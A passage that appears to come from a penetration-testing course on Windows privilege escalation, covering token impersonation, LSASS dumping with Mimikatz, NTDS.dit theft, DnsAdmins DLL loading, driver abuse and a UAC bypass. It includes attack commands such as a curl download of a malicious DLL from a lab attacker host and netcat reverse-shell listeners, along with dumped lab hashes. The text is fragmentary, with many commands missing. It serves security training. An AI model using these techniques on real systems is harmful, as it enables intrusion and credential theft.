{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
[+] calling 0x000000000088ce08
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>hostname
hostname
WINLPE-SRV01
PrintSpoofer and RoguePotato
JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards.
However, PrintSpoofer and RoguePotato can be used to leverage the same privileges and
gain NT AUTHORITY\SYSTEM level access. This blog post goes in-depth on the
PrintSpoofer tool, which can be used to abuse impersonation privileges on Windows 10
and Server 2019 hosts where JuicyPotato no longer works.
output
--------------------------------------------------------------------------
------
[+] CreateProcessAsUser() OK
NULL
nc -lnvp 8443
whoami
nt authority\system
SeDebugPrivilege
During an internal penetration test, it is often helpful to use websites such as LinkedIn to
gather information about potential users to target. Suppose we are, for example, retrieving
many NTLMv2 password hashes using Responder or Inveigh . In that case, we may want
to focus our password hash cracking efforts on possible high-value accounts, such as
developers who are more likely to have these types of privileges assigned to their accounts.
A user may not be a local admin on a host but have rights that we cannot enumerate
remotely using a tool such as BloodHound. This would be worth checking in an environment
where we obtain credentials for several users and have RDP access to one or more hosts
but no additional privileges.
After logging on as a user assigned the Debug programs right and opening an elevated
shell, we see SeDebugPrivilege is listed.
C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
We can use ProcDump from the SysInternals suite to leverage this privilege and dump
process memory. A good candidate is the Local Security Authority Subsystem Service (
LSASS) process, which stores user credentials after a user logs on to a system.
This is successful, and we can load this in Mimikatz using the sekurlsa::minidump
command. After issuing the sekurlsa::logonPasswords commands, we gain the NTLM
hash of the local administrator account logged on locally. We can use this to perform a pass-
the-hash attack to move laterally if the same local administrator password is used on one or
multiple additional systems (common in large organizations).
Note: It is always a good idea to type "log" before running any commands in "Mimikatz" this
way all command output will put output to a ".txt" file. This is especially useful when dumping
credentials from a server which may have many sets of credentials in memory.
C:\htb> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # log
Using 'mimikatz.log' for logfile : OK
mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...
<SNIP>
<SNIP>
Suppose we are unable to load tools on the target for whatever reason but have RDP
access. In that case, we can take a manual memory dump of the LSASS process via the
Task Manager by browsing to the Details tab, choosing the LSASS process, and selecting
Create dump file . After downloading this file back to our attack system, we can process it
using Mimikatz the same way as the previous example.
First, transfer this PoC script over to the target system. Next we just load the script and run it
with the following syntax [MyProcess]::CreateProcessFromParent(<system_pid>,
<command_to_execute>,"") . Note that we must add a third blank argument "" at the end
for the PoC to work properly.
The PoC script has received an update. Please visit its GitHub repository and review its
usage. https://github.com/decoder-it/psgetsystem
First, open an elevated PowerShell console (right-click, run as admin, and type in the
credentials for the jordan user). Next, type tasklist to get a listing of running processes
and accompanying PIDs.
PS C:\htb> tasklist
Here we can target winlogon.exe running under PID 612, which we know runs as SYSTEM
on Windows hosts.
We could also use the Get-Process cmdlet to grab the PID of a well-known process that runs
as SYSTEM (such as LSASS) and pass the PID directly to the script, cutting down on the
number of steps required.
Other tools such as this one exist to pop a SYSTEM shell when we have
SeDebugPrivilege . Often we will not have RDP access to a host, so we'll have to modify
our PoCs to either return a reverse shell to our attack host as SYSTEM or another
command, such as adding an admin user. Play around with these PoCs and see what other
ways you can achieve SYSTEM access, especially if you do not have a fully interactive
session, such as when you achieve command injection or have a web shell or reverse shell
connection as the user with SeDebugPrivilege . Keep these examples in mind in case you
ever run into a situation where dumping LSASS does not result in any useful credentials
(though we can get SYSTEM access with just the machine NTLM hash, but that's outside
the scope of this module) and a shell or RCE as SYSTEM would be beneficial.
SeTakeOwnershipPrivilege
Suppose we encounter a user with this privilege or assign it to them through an attack such
as GPO abuse using SharpGPOAbuse. In that case, we could use this privilege to
potentially take control of a shared folder or sensitive files such as a document containing
passwords or an SSH key.
PRIVILEGES INFORMATION
----------------------
Enabling SeTakeOwnershipPrivilege
Notice from the output that the privilege is not enabled. We can enable it using this script
which is detailed in this blog post, as well as this one which builds on the initial concept.
PRIVILEGES INFORMATION
----------------------
Privilege Name Description
State
============================= ========================================
=======
SeTakeOwnershipPrivilege Take ownership of files or other objects
Enabled
SeChangeNotifyPrivilege Bypass traverse checking
Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set
Enabled
Next, choose a target file and confirm the current ownership. For our purposes, we'll target
an interesting file found on a file share. It is common to encounter file shares with Public
and Private directories with subdirectories set up by department. Given a user's role in the
company, they can often access specific files/directories. Even with a structure like this, a
sysadmin may misconfigure permissions on directories and subdirectories, making file
shares a rich source of information for us once we have obtained Active Directory credentials
(and sometimes even without needing credentials). For our scenario, let's assume that we
have access to the target company's file share and can freely browse both the Private and
Public subdirectories. For the most part, we find that permissions are set up strictly, and
we have not found any interesting information on the Public portion of the file share. In
browsing the Private portion, we find that all Domain Users can list the contents of certain
subdirectories but get an Access denied message when trying to read the contents of most
files. We find a file named cred.txt under the IT subdirectory of the Private share
folder during our enumeration.
Given that our user account has SeTakeOwnershipPrivilege (which may have already
been granted), or we exploit some other misconfiguration such as an overly permissive
Group Policy Object (GPO) to grant our user account that privilege) we can leverage it to
read any file of our choosing.
Note: Take great care when performing a potentially destructive action like changing file
ownership, as it could cause an application to stop working or disrupt user(s) of the target
object. Changing the ownership of an important file, such as a live web.config file, is not
something we would do without consent from our client first. Furthermore, changing
ownership of a file buried down several subdirectories (while changing each subdirectory
permission on the way down) may be difficult to revert and should be avoided.
Let's check out our target file to gather a bit more information about it.
We can see that the IT share appears to be owned by a service account and does contain a
file cred.txt with some data inside it.
Taking Ownership of the File
Now we can use the takeown Windows binary to change ownership of the file.
We can confirm ownership using the same command as before. We now see that our user
account is the file owner.
Let's grant our user full privileges over the target file.
PS C:\htb> icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-
student:F
NIX01 admin
root:n1X_p0wer_us3er!
After performing these changes, we would want to make every effort to revert the
permissions/file ownership. If we cannot for some reason, we should alert our client and
carefully document the modifications in an appendix of our report deliverable. Again,
leveraging this permission can be considered a destructive action and should be done with
great care. Some clients may prefer that we document the ability to perform the action as
evidence of a misconfiguration but not fully take advantage of the flaw due to the potential
impact.
When to Use?
Files of Interest
Some local files of interest may include:
c:\inetpub\wwwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
We may also come across .kdbx KeePass database files, OneNote notebooks, files such
as passwords.* , pass.* , creds.* , scripts, other configuration files, virtual hard drive files,
and more that we can target to extract sensitive information from to elevate our privileges
and further our access.
Accounts may be assigned to these groups to enforce least privilege and avoid creating
more Domain Admins and Enterprise Admins to perform specific tasks, such as backups.
Sometimes vendor applications will also require certain privileges, which can be granted by
assigning a service account to one of these groups. Accounts may also be added by
accident or leftover after testing a specific tool or script. We should always check these
groups and include a list of each group's members as an appendix in our report for the client
to review and determine if access is still necessary.
Backup Operators
After landing on a machine, we can use the command whoami /groups to show our current
group memberships. Let's examine the case where we are a member of the Backup
Operators group. Membership of this group grants its members the SeBackup and
SeRestore privileges. The SeBackupPrivilege allows us to traverse any folder and list the
folder contents. This will let us copy a file from a folder, even if there is no access control
entry (ACE) for us in the folder's access control list (ACL). However, we can't do this using
the standard copy command. Instead, we need to programmatically copy the data, making
sure to specify the FILE_FLAG_BACKUP_SEMANTICS flag.
We can use this PoC to exploit the SeBackupPrivilege , and copy this file. First, let's import
the libraries in a PowerShell session.
Importing Libraries
Note: Based on the server's settings, it might be required to spawn an elevated CMD prompt
to bypass UAC and have this privilege.
PRIVILEGES INFORMATION
----------------------
PS C:\htb> Get-SeBackupPrivilege
SeBackupPrivilege is disabled
Enabling SeBackupPrivilege
If the privilege is disabled, we can enable it with Set-SeBackupPrivilege .
PS C:\htb> Set-SeBackupPrivilege
PS C:\htb> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PRIVILEGES INFORMATION
----------------------
As we can see above, the privilege was enabled successfully. This privilege can now be
leveraged to copy any protected file.
Directory: C:\Confidential
Copied 88 bytes
==============================
Board of Directors:
<...SNIP...>
The commands above demonstrate how sensitive information was accessed without
possessing the required permissions.
As the NTDS.dit file is locked by default, we can use the Windows diskshadow utility to
create a shadow copy of the C drive and expose it as E drive. The NTDS.dit in this shadow
copy won't be in use by the system.
PS C:\htb> diskshadow.exe
PS C:\htb> dir E:
Directory: E:\
The privilege also lets us back up the SAM and SYSTEM registry hives, which we can
extract local account credentials offline using a tool such as Impacket's secretsdump.py
DistinguishedName: CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
Sid: S-1-5-21-669053619-2741956077-1013132368-500
Guid: f28ab72b-9b16-4b52-9f63-ef4ea96de215
SamAccountName: Administrator
SamAccountType: User
UserPrincipalName:
PrimaryGroupId: 513
SidHistory:
Enabled: True
UserAccountControl: NormalAccount, PasswordNeverExpires
AdminCount: True
Deleted: False
LastLogonDate: 5/6/2021 5:40:30 PM
DisplayName:
GivenName:
Surname:
Description: Built-in account for administering the computer/domain
ServicePrincipalName:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent,
DiscretionaryAclAutoInherited, SystemAclAutoInherited,
DiscretionaryAclProtected, SelfRelative
Owner: S-1-5-21-669053619-2741956077-1013132368-512
Secrets
NTHash: cf3a5525ee9414229e66279623ed5c58
LMHash:
NTHashHistory:
LMHashHistory:
SupplementalCredentials:
ClearText:
NTLMStrongHash: 7790d8406b55c380f98b92bb2fdc63a7
Kerberos:
Credentials:
DES_CBC_MD5
Key: d60dfbbf20548938
OldCredentials:
Salt: WIN-NB4NGP3TKNKAdministrator
Flags: 0
KerberosNew:
Credentials:
AES256_CTS_HMAC_SHA1_96
Key:
5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
Iterations: 4096
AES128_CTS_HMAC_SHA1_96
Key: 94c300d0e47775b407f2496a5cca1a0a
Iterations: 4096
DES_CBC_MD5
Key: d60dfbbf20548938
Iterations: 4096
OldCredentials:
OlderCredentials:
ServiceCredentials:
Salt: WIN-NB4NGP3TKNKAdministrator
DefaultIterationCount: 4096
Flags: 0
WDigest:
Key Credentials:
Credential Roaming
Created:
Modified:
Credentials:
<SNIP>
Robocopy
Copying Files with Robocopy
The built-in utility robocopy can be used to copy files in backup mode as well. Robocopy is a
command-line directory replication tool. It can be used to create backup jobs and includes
features such as multi-threaded copying, automatic retry, the ability to resume copying, and
more. Robocopy differs from the copy command in that instead of just copying all files, it
can check the destination directory and remove files no longer in the source directory. It can
also compare files before copying to save time by not copying files that have not been
changed since the last copy/backup job ran.
--------------------------------------------------------------------------
-----
ROBOCOPY :: Robust File Copy for Windows
--------------------------------------------------------------------------
-----
Started : Thursday, May 6, 2021 1:11:47 PM
Source : E:\Windows\NTDS\
Dest : C:\Tools\ntds\
Files : ntds.dit
--------------------------------------------------------------------------
----
--------------------------------------------------------------------------
----
Suppose auditing of process creation events and corresponding command line values is
enabled. In that case, this information is saved to the Windows security event log as event
ID 4688: A new process has been created. Organizations may enable logging of process
command lines to help defenders monitor and identify possibly malicious behavior and
identify binaries that should not be present on a system. This data can be shipped to a SIEM
tool or ingested into a search tool, such as ElasticSearch, to give defenders visibility into
what binaries are being run on systems in the network. The tools would then flag any
potentially malicious activity, such as the whoami , netstat , and tasklist commands
being run from a marketing executive's workstation.
This study shows some of the most run commands by attackers after initial access (
tasklist , ver , ipconfig , systeminfo , etc.), for reconnaissance ( dir , net view ,
ping , net use , type , etc.), and for spreading malware within a network ( at , reg , wmic ,
wusa , etc.). Aside from monitoring for these commands being run, an organization could
take things a step further and restrict the execution of specific commands using fine-tuned
AppLocker rules. For an organization with a tight security budget, leveraging these built-in
tools from Microsoft can offer excellent visibility into network activities at the host level. Most
modern enterprise EDR tools perform detection/blocking but can be out of reach for many
organizations due to budgetary and personnel constraints. This small example shows that
security improvements, such as network and host-level visibility, can be done with minimal
effort, cost, and massive impact.
I performed a penetration test against a medium-sized organization a few years ago with a
small security team, no enterprise EDR, but was using a similar configuration to what was
detailed above (auditing process creation and command-line values). They caught and
contained one of my team members when they ran the tasklist command from a member
of the finance department's workstation (after capturing credentials using Responder and
cracking them offline).
Administrators or members of the Event Log Readers group have permission to access this
log. It is conceivable that system administrators might want to add power users or
developers into this group to perform certain tasks without having to grant them
administrative access.
Members
--------------------------------------------------------------------------
-----
logger
The command completed successfully.
Microsoft has published a reference guide for all built-in Windows commands, including
syntax, parameters, and examples. Many Windows commands support passing a password
as a parameter, and if auditing of process command lines is enabled, this sensitive
information will be captured.
We can query Windows events from the command line using the wevtutil utility and the Get-
WinEvent PowerShell cmdlet.
Searching Security Logs Using wevtutil
We can also specify alternate credentials for wevtutil using the parameters /u and /p .
For Get-WinEvent , the syntax is as follows. In this example, we filter for process creation
events (4688), which contain /user in the process command line.
Note: Searching the Security event log with Get-WInEvent requires administrator access
or permissions adjusted on the registry key
HKLM\System\CurrentControlSet\Services\Eventlog\Security . Membership in just the
Event Log Readers group is not sufficient.
CommandLine
-----------
net use T: \\fs01\backups /user:tim MyStr0ngP@ssword
The cmdlet can also be run as another user with the -Credential parameter.
Other logs include PowerShell Operational log, which may also contain sensitive information
or credentials if script block or module logging is enabled. This log is accessible to
unprivileged users.
DnsAdmins
Members of the DnsAdmins group have access to DNS information on the network. The
Windows DNS service supports custom plugins and can call functions from them to resolve
name queries that are not in the scope of any locally hosted DNS zones. The DNS service
runs as NT AUTHORITY\SYSTEM , so membership in this group could potentially be leveraged
to escalate privileges on a Domain Controller or in a situation where a separate server is
acting as the DNS server for the domain. It is possible to use the built-in dnscmd utility to
specify the path of the plugin DLL. As detailed in this excellent post, the following attack can
be performed when DNS is run on a Domain Controller (which is very common):
Let's first see what happens if we use the dnscmd utility to load a custom DLL with a non-
privileged user.
As expected, attempting to execute this command as a normal user isn't successful. Only
members of the DnsAdmins group are permitted to do this.
distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name : netadm
objectClass : user
objectGUID : 1a1ac159-f364-4805-a4bb-7153051a8c14
SamAccountName : netadm
SID : S-1-5-21-669053619-2741956077-1013132368-1109
Note: We must specify the full path to our custom DLL or the attack will not work properly.
Only the dnscmd utility can be used by members of the DnsAdmins group, as they do not
directly have permission on the registry key.
With the registry setting containing the path of our malicious plugin configured, and our
payload created, the DLL will be loaded the next time the DNS service is started.
Membership in the DnsAdmins group doesn't give the ability to restart the DNS service, but
this is conceivably something that sysadmins might permit DNS admins to do.
After restarting the DNS service (if our user has this level of access), we should be able to
run our custom DLL and add a user (in our case) or get a reverse shell. If we do not have
access to restart the DNS server, we will have to wait until the server or service restarts.
Let's check our current user's permissions on the DNS service.
SID
S-1-5-21-669053619-2741956077-1013132368-1109
Once we have the user's SID, we can use the sc command to check permissions on the
service. Per this article, we can see that our user has RPWP permissions which translate to
SERVICE_START and SERVICE_STOP , respectively.
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)
(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:
(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Check out the Windows Fundamentals module for an explanation of SDDL syntax in
Windows.
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530
The DNS service will attempt to start and run our custom DLL, but if we check the status, it
will show that it failed to start correctly (more on this later).
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 6960
FLAGS :
Members
--------------------------------------------------------------------------
-----
Administrator netadm
The command completed successfully.
Cleaning Up
Making configuration changes and stopping/restarting the DNS service on a Domain
Controller are very destructive actions and must be exercised with great care. As a
penetration tester, we need to run this type of action by our client before proceeding with it
since it could potentially take down DNS for an entire Active Directory environment and
cause many issues. If our client gives their permission to go ahead with this attack, we need
to be able to either cover our tracks and clean up after ourselves or offer our client steps on
how to revert the changes.
These steps must be taken from an elevated console with a local or domain admin account.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
GlobalQueryBlockList REG_MULTI_SZ wpad\0isatap
EnableGlobalQueryBlockList REG_DWORD 0x1
PreviousLocalHostname REG_SZ WINLPE-DC01.INLANEFREIGHT.LOCAL
Forwarders REG_MULTI_SZ 1.1.1.1\08.8.8.8
ForwardingTimeout REG_DWORD 0x3
IsSlave REG_DWORD 0x0
BootMethod REG_DWORD 0x3
AdminConfigured REG_DWORD 0x1
ServerLevelPluginDll REG_SZ adduser.dll
Deleting Registry Key
We can use the reg delete command to remove the key that points to our custom DLL.
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 4984
FLAGS :
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
Once again, this is a potentially destructive attack that we should only carry out with explicit
permission from and in coordination with our client. If they understand the risks and want to
see a full proof of concept, then the steps outlined in this section will help demonstrate the
attack and clean up afterward.
Using Mimilib.dll
As detailed in this post, we could also utilize mimilib.dll from the creator of the Mimikatz tool
to gain command execution by modifying the kdns.c file to execute a reverse shell one-liner
or another command of our choosing.
After disabling the global query block list and creating a WPAD record, every machine
running WPAD with default settings will have its traffic proxied through our attack machine.
We could use a tool such as Responder or Inveigh to perform traffic spoofing, and attempt to
capture password hashes and crack them offline or perform an SMBRelay attack.
Hyper-V Administrators
The Hyper-V Administrators group has full access to all Hyper-V features. If Domain
Controllers have been virtualized, then the virtualization admins should be considered
Domain Admins. They could easily create a clone of the live Domain Controller and mount
the virtual disk offline to obtain the NTDS.dit file and extract NTLM password hashes for all
users in the domain.
It is also well documented on this blog, that upon deleting a virtual machine, vmms.exe
attempts to restore the original file permissions on the corresponding .vhdx file and does so
as NT AUTHORITY\SYSTEM , without impersonating the user. We can delete the .vhdx file
and create a native hard link to point this file to a protected SYSTEM file, which we will have
full permissions to.
Target File
An example of this is Firefox, which installs the Mozilla Maintenance Service . We can
update this exploit (a proof-of-concept for NT hard link) to grant our current user full
permissions on the file below:
After running the PowerShell script, we should have full control of this file and can take
ownership of it.
Note: This vector has been mitigated by the March 2020 Windows security updates, which
changed behavior relating to hard links.
Print Operators
Print Operators is another highly privileged group, which grants its members the
SeLoadDriverPrivilege , rights to manage, create, share, and delete printers connected to
a Domain Controller, as well as the ability to log on locally to a Domain Controller and shut it
down. If we issue the command whoami /priv , and don't see the SeLoadDriverPrivilege
from an unelevated context, we will need to bypass UAC.
Confirming Privileges
PRIVILEGES INFORMATION
----------------------
PRIVILEGES INFORMATION
----------------------
It's well known that the driver Capcom.sys contains functionality to allow any user to execute
shellcode with SYSTEM privileges. We can use our privileges to load this vulnerable driver
and escalate privileges. We can use this tool to load the driver. The PoC enables the
privilege as well as loads the driver for us.
Download it locally and edit it, pasting over the includes below.
#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"
Next, from a Visual Studio 2019 Developer Command Prompt, compile it using cl.exe.
EnableSeLoadDriverPrivilege.cpp
Microsoft (R) Incremental Linker Version 14.28.29913.0
Copyright (C) Microsoft Corporation. All rights reserved.
/out:EnableSeLoadDriverPrivilege.exe
EnableSeLoadDriverPrivilege.obj
Next, download the Capcom.sys driver from here, and save it to C:\temp . Issue the
commands below to add a reference to this driver under our HKEY_CURRENT_USER tree.
The odd syntax \??\ used to reference our malicious driver's ImagePath is an NT Object
Path. The Win32 API will parse and resolve this path to properly locate and load our
malicious driver.
C:\htb> EnableSeLoadDriverPrivilege.exe
whoami:
INLANEFREIGHT0\printsvc
whoami /priv
SeMachineAccountPrivilege Disabled
SeLoadDriverPrivilege Enabled
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled by default
SeIncreaseWorkingSetPrivilege Disabled
NTSTATUS: 00000000, WinError: 0
PS C:\htb> .\ExploitCapcom.exe
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return true;
}
We would set up a listener based on the msfvenom payload we generated and hopefully
receive a reverse shell connection back when executing ExploitCapcom.exe . If a reverse
shell connection is blocked for some reason, we can try a bind shell or exec/add user
payload.
We would then run ExploitCapcom.exe to pop a SYSTEM shell or run our custom binary.
Clean-up
Removing Registry Key
We can cover our tracks a bit by deleting the registry key added earlier.
Server Operators
The Server Operators group allows members to administer Windows servers without
needing assignment of Domain Admin privileges. It is a very highly privileged group that can
log in locally to servers, including Domain Controllers.
C:\htb> sc qc AppReadiness
SERVICE_NAME: AppReadiness
DISPLAY_NAME: App Readiness
ACCOUNT: LocalSystem
SECURITY:
[ALLOW] NT AUTHORITY\SYSTEM
Query status
Query Config
Interrogate
Enumerate Dependents
Pause/Resume
Start
Stop
User-Defined Control
Read Permissions
[ALLOW] BUILTIN\Administrators
All
[ALLOW] NT AUTHORITY\INTERACTIVE
Query status
Query Config
Interrogate
Enumerate Dependents
User-Defined Control
Read Permissions
[ALLOW] NT AUTHORITY\SERVICE
Query status
Query Config
Interrogate
Enumerate Dependents
User-Defined Control
Read Permissions
[ALLOW] BUILTIN\Server Operators
All
This confirms that the Server Operators group has SERVICE_ALL_ACCESS access right,
which gives us full control over this service.
Members
--------------------------------------------------------------------------
-----
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.
Let's change the binary path to execute a command which adds our current user to the
default local administrators group.
The service did not respond to the start or control request in a timely
fashion.
If we check the membership of the administrators group, we see that the command was
executed successfully.
Members
--------------------------------------------------------------------------
-----
Administrator
Domain Admins
Enterprise Admins
server_adm
The command completed successfully.
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279
623ed5c58:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-
96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
Administrator:aes128-cts-hmac-sha1-96:94c300d0e47775b407f2496a5cca1a0a
Administrator:des-cbc-md5:d60dfbbf20548938
[*] Cleaning up...
User Account Control (UAC) is a feature that enables a consent prompt for elevated
activities. Applications have different integrity levels, and a program with a high level can
perform tasks that could potentially compromise the system. When UAC is enabled,
applications and tasks always run under the security context of a non-administrator account
unless an administrator explicitly authorizes these applications/tasks to have administrator-
level access to the system to run. It is a convenience feature that protects administrators
from unintended changes but is not considered a security boundary.
When UAC is in place, a user can log into their system with their standard user account.
When processes are launched using a standard user token, they can perform tasks using
the rights granted to a standard user. Some applications require additional permissions to
run, and UAC can provide additional access rights to the token for them to run correctly.
This page discusses how UAC works in great depth and includes the logon process, user
experience, and UAC architecture. Administrators can use security policies to configure how
UAC works specific to their organization at the local level (using secpol.msc), or configured
and pushed out via Group Policy Objects (GPO) in an Active Directory domain environment.
The various settings are discussed in detail here. There are 10 Group Policy settings that
can be set for UAC. The following table provides additional detail:
Source
UAC should be enabled, and although it may not stop an attacker from gaining privileges, it
is an extra step that may slow this process down and force them to become noisier.
The default RID 500 administrator account always operates at the high mandatory
level. With Admin Approval Mode (AAM) enabled, any new admin accounts we create will
operate at the medium mandatory level by default and be assigned two separate access
tokens upon logging in. In the example below, the user account sarah is in the
administrators group, but cmd.exe is currently running in the context of their unprivileged
access token.
USER INFORMATION
----------------
Members
--------------------------------------------------------------------------
-----
Administrator
mrb3n
sarah
The command completed successfully.
PRIVILEGES INFORMATION
----------------------
There is no command-line version of the GUI consent prompt, so we will have to bypass
UAC to execute commands with our privileged access token. First, let's confirm if UAC is
enabled and, if so, at what level.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Syst
em
EnableLUA REG_DWORD 0x1
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Syst
em
ConsentPromptBehaviorAdmin REG_DWORD 0x5
The value of ConsentPromptBehaviorAdmin is 0x5 , which means the highest UAC level of
Always notify is enabled. There are fewer UAC bypasses at this highest level.
PS C:\htb> [environment]::OSVersion.Version
This returns the build version 14393, which using this page we cross-reference to Windows
release 1607 .
The UACME project maintains a list of UAC bypasses, including information on the affected
Windows build number, the technique used, and if Microsoft has issued a security update to
fix it. Let's use technique number 54, which is stated to work from Windows 10 build 14393.
This technique targets the 32-bit version of the auto-elevating binary
SystemPropertiesAdvanced.exe . There are many trusted binaries that Windows will allow
to auto-elevate without the need for a UAC consent prompt.
When attempting to locate a DLL, Windows will use the following search order.
C:\Windows\system32;
C:\Windows;
C:\Windows\System32\Wbem;
C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Users\sarah\AppData\Local\Microsoft\WindowsApps;
We can potentially bypass UAC in this by using DLL hijacking by placing a malicious
srrstr.dll DLL to WindowsApps folder, which will be loaded in an elevated context.
Download the malicious DLL to the target system, and stand up a Netcat listener on our
attack machine.
PS C:\htb>curl http://10.10.14.3:8080/srrstr.dll -O
"C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
nc -lvnp 8443
Testing Connection
If we execute the malicious srrstr.dll file, we will receive a shell back showing normal
user rights (UAC enabled). To test this, we can run the DLL using rundll32.exe to get a
reverse shell connection.
nc -lnvp 8443
PRIVILEGES INFORMATION
----------------------
C:\htb> C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
nc -lvnp 8443
C:\Windows\system32>whoami
whoami
winlpe-ws03\sarah
C:\Windows\system32>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description
State
=========================================
==================================================================
========
SeIncreaseQuotaPrivilege Adjust memory quotas for a
process Disabled
SeSecurityPrivilege Manage auditing and security log
Disabled
SeTakeOwnershipPrivilege Take ownership of files or other
objects Disabled
SeLoadDriverPrivilege Load and unload device drivers
Disabled
SeSystemProfilePrivilege Profile system performance
Disabled
SeSystemtimePrivilege Change the system time
Disabled
SeProfileSingleProcessPrivilege Profile single process
Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority
Disabled
SeCreatePagefilePrivilege Create a pagefile
Disabled
SeBackupPrivilege Back up files and directories
Disabled
SeRestorePrivilege Restore files and directories
Disabled
SeShutdownPrivilege Shut down the system
Disabled
SeDebugPrivilege Debug programs
Disabled
SeSystemEnvironmentPrivilege Modify firmware environment
values Disabled
SeChangeNotifyPrivilege Bypass traverse checking
Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote
system Disabled
SeUndockPrivilege Remove computer from docking
station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks
Disabled
SeImpersonatePrivilege Impersonate a client after
authentication Enabled
SeCreateGlobalPrivilege Create global objects
Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set
Disabled
SeTimeZonePrivilege Change the time zone
Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links
Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token
for another user in the same session Disabled
This is successful, and we receive an elevated shell that shows our privileges are available
and can be enabled if needed.
Weak Permissions
Permissions on Windows systems are complicated and challenging to get right. A slight
modification in one place may introduce a flaw elsewhere. As penetration testers, we need to
understand how permissions work in Windows and the various ways that misconfigurations
can be leveraged to escalate privileges. The permissions-related flaws discussed in this
section are relatively uncommon in software applications put out by large vendors (but are
seen from time to time) but are common in third-party software from smaller vendors, open-
source software, and custom applications. Services usually install with SYSTEM privileges,
so leveraging a service permissions-related flaw can often lead to complete control over the
target system. Regardless of the environment, we should always check for weak
permissions and be able to do it both with the help of tools and manually in case we are in a
situation where we don't have our tools readily available.
We can use SharpUp from the GhostPack suite of tools to check for service binaries
suffering from weak ACLs.
Name : SecurityService
DisplayName : PC Security Management Service
Description : Responsible for managing PC security
State : Stopped
StartMode : Auto
PathName : "C:\Program Files
(x86)\PCProtect\SecurityService.exe"
<SNIP>
The tool identifies the PC Security Management Service , which executes the
SecurityService.exe binary when started.
BUILTIN\Administrators:(I)(F)
APPLICATION PACKAGE
AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE
AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
This service is also startable by unprivileged users, so we can make a backup of the original
